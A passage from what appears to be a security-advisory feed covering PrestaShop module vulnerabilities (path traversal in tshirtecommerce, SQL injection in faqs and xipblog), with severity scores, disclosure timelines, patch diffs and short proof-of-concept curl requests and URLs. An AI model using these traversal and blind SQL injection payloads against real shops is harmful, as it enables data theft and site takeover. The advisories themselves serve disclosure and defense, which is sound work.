  <li><a href="https://addons.prestashop.com/en/payment-card-wallet/1748-paypal-official.html">PrestaShop addons product page</a></li>
  <li><a href="https://github.com/202ecommerce/paypal/security/advisories/GHSA-66pc-8gh8-mx7m">Github repository</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-28843">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[SQL injection vulnerability found in the module “PayPal Official Module” (aka paypal) for PrestaShop from 3.12.0 to 3.16.3. (3.16.4 fix the issue) allow a remote attacker to gain privileges.]]></summary></entry><entry><title type="html">[CVE-2023-27639][CVE-2023-27640][CWE-22] Multiple path traversal in Custom Product Designer (tshirtecommerce) module for PrestaShop</title><link href="https://security.friendsofpresta.org/module/2023/03/30/tshirtecommerce_cwe-22.html" rel="alternate" type="text/html" title="[CVE-2023-27639][CVE-2023-27640][CWE-22] Multiple path traversal in Custom Product Designer (tshirtecommerce) module for PrestaShop" /><published>2023-03-30T00:00:00+00:00</published><updated>2023-03-30T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/module/2023/03/30/tshirtecommerce_cwe-22</id><content type="html" xml:base="https://security.friendsofpresta.org/module/2023/03/30/tshirtecommerce_cwe-22.html"><![CDATA[<p>In the Custom Product Designer (tshirtecommerce) module for PrestaShop, HTTP requests can be forged using POST and GET parameters enabling a remote attacker to perform directory traversal on the system and view the contents of code files. Since the module appears not to have been maintained since 2019, it is strongly recommended to remove it.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27639">CVE-2023-27639</a> / <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27640">CVE-2023-27640</a></li>
  <li><strong>Published at</strong>: 2023-03-30</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: tshirtecommerce</li>
  <li><strong>Impacted release</strong>: &lt;= 2.1.4 (latest version)</li>
  <li><strong>Product author</strong>: Tshirtecommerce Team</li>
  <li><strong>Weakness</strong>: <a href="https://www.cvedetails.com/cwe-details/22/cwe.html">CWE-22</a></li>
  <li><strong>Severity</strong>: high (7.5)</li>
</ul>

<h2 id="description">Description</h2>

<p>The following issues have been seen in the latest version of the PrestaShop Custom Product Designer (tshirtecommerce) module for PrestaShop, released on July 24, 2019 (These issues remain unresolved in the most recent version of the module) :</p>
<ul>
  <li>an HTTP request can be manipulated using the GET parameter <code class="language-plaintext highlighter-rouge">type</code> in the <code class="language-plaintext highlighter-rouge">/tshirtecommerce/fonts.php</code> endpoint, enabling a remote attacker to perform directory traversal on the system and open files without restrictions on the extension and path. The content of the file will be returned in base64-encoded format.</li>
  <li>an HTTP request can be manipulated using the POST parameter <code class="language-plaintext highlighter-rouge">file_name</code> in the <code class="language-plaintext highlighter-rouge">tshirtecommerce/ajax.php?type=svg</code> endpoint, enabling a remote attacker to perform directory traversal on the system and open files without restrictions on the extension and path. Note that only files that can be parsed in XML format can be opened.</li>
</ul>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain database access</li>
  <li>Extract sensitive data, such as tokens or private keys stored in config files</li>
  <li>Extract other private data, such as log files or exports</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>Examples:</p>

<ol>
  <li>For all types of files, will return a base64 response of the content of the file (critical):
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://example.test/tshirtecommerce/fonts.php?name<span class="o">=</span>2&amp;type<span class="o">=</span>./../index.php
</code></pre></div>    </div>
  </li>
  <li>When a file can be parsed as XML without error (less common):
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">--request</span> POST <span class="s1">'https://example.test/tshirtecommerce/ajax.php?type=svg'</span> <span class="se">\</span>
<span class="nt">--data-urlencode</span> <span class="s1">'url=./../vendor/jdorn/sql-formatter/examples'</span> <span class="se">\</span>
<span class="nt">--data-urlencode</span> <span class="s1">'file_name=examples.php'</span>
</code></pre></div>    </div>
  </li>
</ol>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/tshirtecommerce/fonts.php        
</span><span class="gi">+++ b/tshirtecommerce/fonts.php        
</span><span class="p">@@ -85,6 +85,24 @@</span> if (isset($_GET['name']) &amp;&amp; isset($_GET['type']))
                else
                {
                        $file_font = ROOT .DS. $font_type;
<span class="gi">+            
+            // Array of allowed font file extensions
+            $allowed_extensions = array('ttf', 'otf', 'woff', 'woff2', 'eot', 'svg');
+            // Get the file extension of the file_font
+            $file_extension = strtolower(pathinfo($file_font, PATHINFO_EXTENSION));
+            // Check if the file extension is one of the allowed font types
+            if (!in_array($file_extension, $allowed_extensions)) {
+                exit();
+            } 
+            // tshirtecommerce base path
+            $tshirtecommerceBase = realpath(dirname(__FILE__));
+            // requested file path
+            $fileRealPath = realpath($file_font);
+            if ($fileRealPath === false || strpos($fileRealPath, $tshirtecommerceBase) !== 0) {
+                // Directory transversal
+                exit();
+            }
+
</span></code></pre></div></div>

<p>In the function <code class="language-plaintext highlighter-rouge">getSVG</code>.</p>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/tshirtecommerce/includes/functions.php   
</span><span class="gi">+++ b/tshirtecommerce/includes/functions.php   
</span><span class="p">@@ -1480,6 +1480,22 @@</span> class dg{
                        $file           = $url . 'print/' . $file_name;
                else
                        $file           = $url . '/' . $file_name;
<span class="gi">+        
+        // tshirtecommerce base path
+        $tshirtecommerceBase = realpath(dirname(__FILE__)."/../");
+        // requested file path
+        $fileRealPath = realpath($file);
+        if ($fileRealPath === false || strpos($fileRealPath, $tshirtecommerceBase) !== 0) {
+            // Directory transversal
+            exit();
+        }
+
+        // Check if extension if SVG
+        // Warning : This code might break things if tshirtecommerce is waiting for other file extensions
+        $pathinfo = pathinfo($file);
+        if ($pathinfo['extension'] != 'svg') {
+            exit();
+        }
</span>
</code></pre></div></div>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-10-23</td>
      <td>First detection in Apache logs of an exploitation of this module</td>
    </tr>
    <tr>
      <td>2023-03-04</td>
      <td>Discovery of the vulnerability by Profileo</td>
    </tr>
    <tr>
      <td>2023-03-04</td>
      <td>Contacting the editor (no reply)</td>
    </tr>
    <tr>
      <td>2023-03-04</td>
      <td>Contacting codecanyon / envato market (no reply)</td>
    </tr>
    <tr>
      <td>2023-03-07</td>
      <td>Email reminder to the editor (no reply)</td>
    </tr>
    <tr>
      <td>2023-03-07</td>
      <td>Email reminder to the editor by another channel (no reply)</td>
    </tr>
    <tr>
      <td>2023-03-09</td>
      <td>Email reminder to the editor (no reply)</td>
    </tr>
    <tr>
      <td>2023-03-16</td>
      <td>Contacting again codecanyon / envato market</td>
    </tr>
    <tr>
      <td>2023-03-30</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://codecanyon.net/item/prestashop-custom-product-designer/19202018">Module Custom Product Designer (tshirtecommerce)</a></li>
  <li><a href="https://tshirtecommerce.com/">Editor Website : T-Shirt eCommerce</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-27639">National Vulnerability Database CVE-2023-27639</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-27640">National Vulnerability Database CVE-2023-27640</a></li>
</ul>]]></content><author><name>[&quot;Profileo&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="module" /><summary type="html"><![CDATA[In the Custom Product Designer (tshirtecommerce) module for PrestaShop, HTTP requests can be forged using POST and GET parameters enabling a remote attacker to perform directory traversal on the system and view the contents of code files. Since the module appears not to have been maintained since 2019, it is strongly recommended to remove it.]]></summary></entry><entry><title type="html">[CVE-2023-26858] Improper neutralization of SQL parameter in faqs module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/03/28/faqs.html" rel="alternate" type="text/html" title="[CVE-2023-26858] Improper neutralization of SQL parameter in faqs module for PrestaShop" /><published>2023-03-28T00:00:00+00:00</published><updated>2023-03-28T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/03/28/faqs</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/03/28/faqs.html"><![CDATA[<p>In the module “Frequently Asked Questions (FAQ) page” (faqs) for PrestaShop, an attacker can perform SQL injection up to 3.1.5. Release 3.1.6 fixed this security issue.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26858">CVE-2023-26858</a></li>
  <li><strong>Published at</strong>: 2023-03-28</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: faqs</li>
  <li><strong>Impacted release</strong>: &lt; 3.1.6</li>
  <li><strong>Product author</strong>: MyPrestaModules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Before 3.1.6, a sensitive SQL call in class <code class="language-plaintext highlighter-rouge">faqsPost::getIdFaqsAssociatedToProductCategories()</code> can be executed with a trivial http call and exploited to forge a blind SQL injection through the POST or GET submitted variable <code class="language-plaintext highlighter-rouge">id_category</code>.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">-X</span> POST <span class="nt">-d</span> <span class="s1">'controller=category&amp;id_category=1);SELECT+SLEEP(25);--'</span> <span class="s1">'https://domain.tld'</span>
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/faqs/classes/faqsPost.php
</span><span class="gi">+++ b/faqs/classes/faqsPost.php
</span><span class="p">@@ -480,7 +480,7 @@</span> class faqsPost extends ObjectModel
    */
   public static function getIdFaqsAssociatedToProductCategories($productCategoriesIds)
   {
<span class="gd">-    $productCategoriesIds = implode(',', $productCategoriesIds);
</span><span class="gi">+    $productCategoriesIds = implode(',', array_map('intval', explode(',',$productCategoriesIds)));
</span> 
     $sql = 'SELECT ac.id_faq
             FROM ' . _DB_PREFIX_ . 'faq_association_category ac
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade the module beyond 3.1.6.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix ps_ by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-12-02</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2022-12-12</td>
      <td>Fix published on addons PrestaShop marketplace by the author</td>
    </tr>
    <tr>
      <td>2023-02-12</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-03-17</td>
      <td>Propose a delay to PrestaShop addons security team before disclosing the CVE</td>
    </tr>
    <tr>
      <td>2023-03-28</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/faq-frequently-asked-questions/16036-frequently-asked-questions-faq-page.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-26858">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Frequently Asked Questions (FAQ) page” (faqs) for PrestaShop, an attacker can perform SQL injection up to 3.1.5. Release 3.1.6 fixed this security issue.]]></summary></entry><entry><title type="html">[CVE-2023-27847] Improper neutralization of multiple SQL parameters in the xipblog module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/03/23/xipblog.html" rel="alternate" type="text/html" title="[CVE-2023-27847] Improper neutralization of multiple SQL parameters in the xipblog module for PrestaShop" /><published>2023-03-23T00:00:00+00:00</published><updated>2023-03-23T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/03/23/xipblog</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/03/23/xipblog.html"><![CDATA[<p>In the blog module (xipblog), an anonymous user can perform SQL injection. Even though the module has been patched in version 2.0.1, the version number was not incremented at the time. We consider the issue resolved in versions after 2.0.1.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27847">CVE-2023-27847</a></li>
  <li><strong>Published at</strong>: 2023-03-23</li>
  <li><strong>Advisory source</strong>: Friends-of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: xipblog</li>
  <li><strong>Impacted release</strong>: &lt;= 2.0.1</li>
  <li><strong>Product author</strong>: xpert-idea</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>In xipblog module for PrestaShop up to 2.0.1, multiple sensitive SQL calls on <code class="language-plaintext highlighter-rouge">xipcategoryclass</code> and <code class="language-plaintext highlighter-rouge">xippostsclass</code> can be executed with a trivial http call and exploited to forge a blind SQL injection, for instance, using the POST or GET submitted “rewrite” variable.</p>

<p><strong>WARNING</strong>: this module is actively exploited by malicious networks to hijack shops, including deploying web skimmers (automatically substituting payment methods to massively steal credit card information).</p>

<p>This exploit uses a PrestaShop front controller and most attackers can conceal the module controller’s path during the exploit so you will never know within your conventional frontend logs that it exploits this vulnerability. <strong>You will only see “POST /” inside your conventional frontend logs.</strong> Activating the AuditEngine of mod_security (or similar) is the only way to get data to confirm this exploit.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s1">'https://domain.tld/module/xipblog/archive?rewrite=aaa%22;SELECT%20SLEEP(25);--'</span>
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<p>Created by <a href="https://patch-diff.githubusercontent.com/raw/xpert-idea/xipblog/pull/30.patch">Emmet from sorcery.ie</a></p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/xipblog/classes/xipcategoryclass.php
</span><span class="gi">+++ b/xipblog/classes/xipcategoryclass.php
</span><span class="p">@@ -121,7 +121,7 @@</span> class xipcategoryclass extends ObjectMod
 		$id_lang = (int)Context::getContext()-&gt;language-&gt;id;
 		$id_shop = (int)Context::getContext()-&gt;shop-&gt;id;
 		$sql = 'SELECT xc.`id_xipcategory`,xcl.`name`,xcl.`link_rewrite` FROM `'._DB_PREFIX_.'xipcategory` xc INNER JOIN `'._DB_PREFIX_.'xipcategory_lang` xcl ON (xc.`id_xipcategory` = xcl.`id_xipcategory` AND xcl.`id_lang` = '.$id_lang.') INNER JOIN `'._DB_PREFIX_.'xipcategory_shop` xcs ON (xc.`id_xipcategory` = xcs.`id_xipcategory` AND xcs.`id_shop` = '.$id_shop.') ';
<span class="gd">-		$sql .= ' WHERE xc.`category_type` = "'.($category_type ? $category_type : 'category').'" AND xc.`id_xipcategory` = '.$id_category;
</span><span class="gi">+		$sql .= ' WHERE xc.`category_type` = "'.($category_type ? pSQL($category_type) : 'category').'" AND xc.`id_xipcategory` = '.$id_category;
</span> 		$rslts = Db::getInstance()-&gt;getrow($sql);
 			return $rslts;
     }
<span class="p">@@ -132,7 +132,7 @@</span> class xipcategoryclass extends ObjectMod
 		$id_lang = (int)Context::getContext()-&gt;language-&gt;id;
 		$id_shop = (int)Context::getContext()-&gt;shop-&gt;id;
 		$sql = 'SELECT xc.`id_xipcategory` FROM `'._DB_PREFIX_.'xipcategory` xc INNER JOIN `'._DB_PREFIX_.'xipcategory_lang` xcl ON (xc.`id_xipcategory` = xcl.`id_xipcategory` AND xcl.`id_lang` = '.$id_lang.') INNER JOIN `'._DB_PREFIX_.'xipcategory_shop` xcs ON (xc.`id_xipcategory` = xcs.`id_xipcategory` AND xcs.`id_shop` = '.$id_shop.') ';
<span class="gd">-		$sql .= ' WHERE xc.`category_type` = "'.($category_type ? $category_type : 'category').'" AND xcl.`link_rewrite` = "'.$rewrite.'" ';
</span><span class="gi">+		$sql .= ' WHERE xc.`category_type` = "'.($category_type ? pSQL($category_type) : 'category').'" AND xcl.`link_rewrite` = "'.pSQL($rewrite).'" ';
</span> 		$rslts = Db::getInstance()-&gt;getrow($sql);
 			return isset($rslts['id_xipcategory']) ? $rslts['id_xipcategory'] : NULL;
     }
<span class="p">@@ -144,9 +144,9 @@</span> class xipcategoryclass extends ObjectMod
                INNER JOIN `'._DB_PREFIX_.'xipcategory_lang` xcl ON (xc.`id_xipcategory` = xcl.`id_xipcategory` AND xcl.`id_lang` = '.$id_lang.')
                INNER JOIN `'._DB_PREFIX_.'xipcategory_shop` xcs ON (xc.`id_xipcategory` = xcs.`id_xipcategory` AND xcs.`id_shop` = '.$id_shop.')
                ';
<span class="gd">-       $sql .= ' WHERE xc.`active` = 1 AND  category_type = "'.$category_type.'" ';
</span><span class="gi">+       $sql .= ' WHERE xc.`active` = 1 AND  category_type = "'.pSQL($category_type).'" ';
</span> 		if($category_group != NULL){
<span class="gd">-			$sql .= ' AND category_group = '.$category_group;
</span><span class="gi">+			$sql .= ' AND category_group = "'.pSQL($category_type).'" ';
</span> 		}
        $sql .= ' ORDER BY xc.`position` ASC ';
        return Db::getInstance()-&gt;executeS($sql);

--- a/xipblog/classes/xippostsclass.php
<span class="gi">+++ b/xipblog/classes/xippostsclass.php
</span><span class="p">@@ -239,7 +239,7 @@</span> class xippostsclass extends ObjectModel
     		self::DeleteTagPost($id_post);
     		if(isset($category_ids) &amp;&amp; !empty($category_ids)){
     			foreach ($category_ids as $id_category){
<span class="gd">-    				$queryval .= '('.(int)$id_post.','.(int)$id_category.',"'.$tag.'"),';
</span><span class="gi">+    				$queryval .= '('.(int)$id_post.','.(int)$id_category.',"'.pSQL($tag).'"),';
</span>     			}
     			$queryval = rtrim($queryval, ',');
     			if(Db::getInstance()-&gt;execute('INSERT INTO `'._DB_PREFIX_.'xip_category_post`(`id_post`, `id_category`,`type`) VALUES '.$queryval)){
<span class="p">@@ -270,7 +270,7 @@</span> class xippostsclass extends ObjectModel
 		INNER JOIN `'._DB_PREFIX_.'xipposts_lang` xcl ON (xc.`id_xipposts` = xcl.`id_xipposts` AND xcl.`id_lang` = '.$id_lang.')
 		INNER JOIN `'._DB_PREFIX_.'xipposts_shop` xcs ON (xc.`id_xipposts` = xcs.`id_xipposts` AND xcs.`id_shop` = '.$id_shop.')
 		';
<span class="gd">-       $sql .= ' WHERE xc.`post_type` = "'.($post_type?$post_type:'post').'" AND xc.`id_xipposts` = '.$id_post;
</span><span class="gi">+       $sql .= ' WHERE xc.`post_type` = "'.($post_type?pSQL($post_type):'post').'" AND xc.`id_xipposts` = '.$id_post;
</span>        $rslts = Db::getInstance()-&gt;getrow($sql);
        		return $rslts;
     }
<span class="p">@@ -281,7 +281,7 @@</span> class xippostsclass extends ObjectModel
 		$id_lang = (int)Context::getContext()-&gt;language-&gt;id;
 		$id_shop = (int)Context::getContext()-&gt;shop-&gt;id;
 		$sql = 'SELECT xc.`id_xipposts` FROM `'._DB_PREFIX_.'xipposts` xc INNER JOIN `'._DB_PREFIX_.'xipposts_lang` xcl ON (xc.`id_xipposts` = xcl.`id_xipposts` AND xcl.`id_lang` = '.$id_lang.') INNER JOIN `'._DB_PREFIX_.'xipposts_shop` xcs ON (xc.`id_xipposts` = xcs.`id_xipposts` AND xcs.`id_shop` = '.$id_shop.') ';
<span class="gd">-		$sql .= ' WHERE xc.`post_type` = "'.($post_type ? $post_type : 'post').'" AND xcl.`link_rewrite` = "'.$rewrite.'" ';
</span><span class="gi">+		$sql .= ' WHERE xc.`post_type` = "'.($post_type ? pSQL($post_type) : 'post').'" AND xcl.`link_rewrite` = "'.pSQL($rewrite).'" ';
</span> 		$rslts = Db::getInstance()-&gt;getrow($sql);
 			return isset($rslts['id_xipposts']) ? $rslts['id_xipposts'] : NULL;
     }
<span class="p">@@ -314,7 +314,7 @@</span> class xippostsclass extends ObjectModel
 		INNER JOIN `'._DB_PREFIX_.'xipcategory_lang` xcl ON (xc.`id_xipcategory` = xcl.`id_xipcategory` AND xcl.`id_lang` = '.$id_lang.')
 		INNER JOIN `'._DB_PREFIX_.'xipcategory_shop` xcs ON (xc.`id_xipcategory` = xcs.`id_xipcategory` AND xcs.`id_shop` = '.$id_shop.')
 		';
<span class="gd">-       $sql .= ' WHERE xc.`category_type` = "'.($category_type ? $category_type : 'category').'" AND xc.`id_xipcategory` = '.$id_category;
</span><span class="gi">+       $sql .= ' WHERE xc.`category_type` = "'.($category_type ? pSQL($category_type) : 'category').'" AND xc.`id_xipcategory` = '.$id_category;
</span>        $rslts = Db::getInstance()-&gt;getrow($sql);
        		return $rslts;
     }
<span class="p">@@ -329,7 +329,7 @@</span> class xippostsclass extends ObjectModel
 		INNER JOIN `'._DB_PREFIX_.'xipcategory_lang` xcl ON (xc.`id_xipcategory` = xcl.`id_xipcategory` AND xcl.`id_lang` = '.$id_lang.')
 		INNER JOIN `'._DB_PREFIX_.'xipcategory_shop` xcs ON (xc.`id_xipcategory` = xcs.`id_xipcategory` AND xcs.`id_shop` = '.$id_shop.')
 		';
<span class="gd">-       $sql .= ' WHERE xc.`category_type` = "tag" AND xcl.`name` = "'.$tag.'"';
</span><span class="gi">+       $sql .= ' WHERE xc.`category_type` = "tag" AND xcl.`name` = "'.pSQL($tag).'"';
</span>        $rslts = Db::getInstance()-&gt;getrow($sql);
        if(isset($rslts) &amp;&amp; !empty($rslts)){
        		return $rslts['id_xipcategory'];
<span class="p">@@ -360,11 +360,11 @@</span> class xippostsclass extends ObjectModel
 		$id_lang = (int)Context::getContext()-&gt;language-&gt;id;
 		$id_shop = (int)Context::getContext()-&gt;shop-&gt;id;
        $sql = 'SELECT xcl.`name` FROM `'._DB_PREFIX_.'xip_category_post` xcp 
<span class="gd">-		INNER JOIN `'._DB_PREFIX_.'xipcategory` xc ON (xcp.`id_category` = xc.`id_xipcategory` AND xc.`category_type` = "'.$tag.'")
</span><span class="gi">+		INNER JOIN `'._DB_PREFIX_.'xipcategory` xc ON (xcp.`id_category` = xc.`id_xipcategory` AND xc.`category_type` = "'.pSQL($tag).'")
</span> 		INNER JOIN `'._DB_PREFIX_.'xipcategory_lang` xcl ON (xcp.`id_category` = xcl.`id_xipcategory` AND xcl.`id_lang` = '.$id_shop.')
 		INNER JOIN `'._DB_PREFIX_.'xipcategory_shop` xcs ON (xcp.`id_category` = xcs.`id_xipcategory` AND xcs.`id_shop` = '.$id_shop.')
 		';
<span class="gd">-       $sql .= ' WHERE xcp.`id_post` = '.$id_post.' AND xcp.`type` = "'.$tag.'"';
</span><span class="gi">+       $sql .= ' WHERE xcp.`id_post` = '.$id_post.' AND xcp.`type` = "'.pSQL($tag).'"';
</span>        $rslts = Db::getInstance()-&gt;executeS($sql);
        if(isset($rslts) &amp;&amp; !empty($rslts)){
        	$countrslts = count($rslts);
<span class="p">@@ -388,11 +388,11 @@</span> class xippostsclass extends ObjectModel
 		$id_lang = (int)Context::getContext()-&gt;language-&gt;id;
 		$id_shop = (int)Context::getContext()-&gt;shop-&gt;id;
        $sql = 'SELECT xcp.`id_category`,xcl.`name`,xcl.`link_rewrite` FROM `'._DB_PREFIX_.'xip_category_post` xcp 
<span class="gd">-		INNER JOIN `'._DB_PREFIX_.'xipcategory` xc ON (xcp.`id_category` = xc.`id_xipcategory` AND xc.`category_type` = "'.$tag.'")
</span><span class="gi">+		INNER JOIN `'._DB_PREFIX_.'xipcategory` xc ON (xcp.`id_category` = xc.`id_xipcategory` AND xc.`category_type` = "'.pSQL($tag).'")
</span> 		INNER JOIN `'._DB_PREFIX_.'xipcategory_lang` xcl ON (xcp.`id_category` = xcl.`id_xipcategory` AND xcl.`id_lang` = '.$id_shop.')
 		INNER JOIN `'._DB_PREFIX_.'xipcategory_shop` xcs ON (xcp.`id_category` = xcs.`id_xipcategory` AND xcs.`id_shop` = '.$id_shop.')
 		';
<span class="gd">-       $sql .= ' WHERE xcp.`id_post` = '.$id_post.' AND xcp.`type` = "'.$tag.'"';
</span><span class="gi">+       $sql .= ' WHERE xcp.`id_post` = '.$id_post.' AND xcp.`type` = "'.pSQL($tag).'"';
</span>        $rslts = Db::getInstance()-&gt;executeS($sql);
        if(isset($rslts) &amp;&amp; !empty($rslts)){
        		$i = 0;
<span class="p">@@ -419,7 +419,7 @@</span> class xippostsclass extends ObjectModel
 		INNER JOIN `'._DB_PREFIX_.'xipcategory_lang` xcl ON (xc.`id_xipcategory` = xcl.`id_xipcategory` AND xcl.`id_lang` = '.$id_lang.')
 		INNER JOIN `'._DB_PREFIX_.'xipcategory_shop` xcs ON (xc.`id_xipcategory` = xcs.`id_xipcategory` AND xcs.`id_shop` = '.$id_shop.')
 		';
<span class="gd">-		$sql .= ' WHERE xc.`category_type` = "'.$tag.'" ';
</span><span class="gi">+		$sql .= ' WHERE xc.`category_type` = "'.pSQL($tag).'" ';
</span> 		$sql .= ' ORDER BY xc.`id_xipcategory` DESC ';
 		$sql .= ' LIMIT '.(int)$count;
 		$rslts = Db::getInstance()-&gt;executeS($sql);
<span class="p">@@ -442,12 +442,13 @@</span> class xippostsclass extends ObjectModel
     public static function GetCategoryPostsCount($category_default = NULL,$post_type = 'post'){
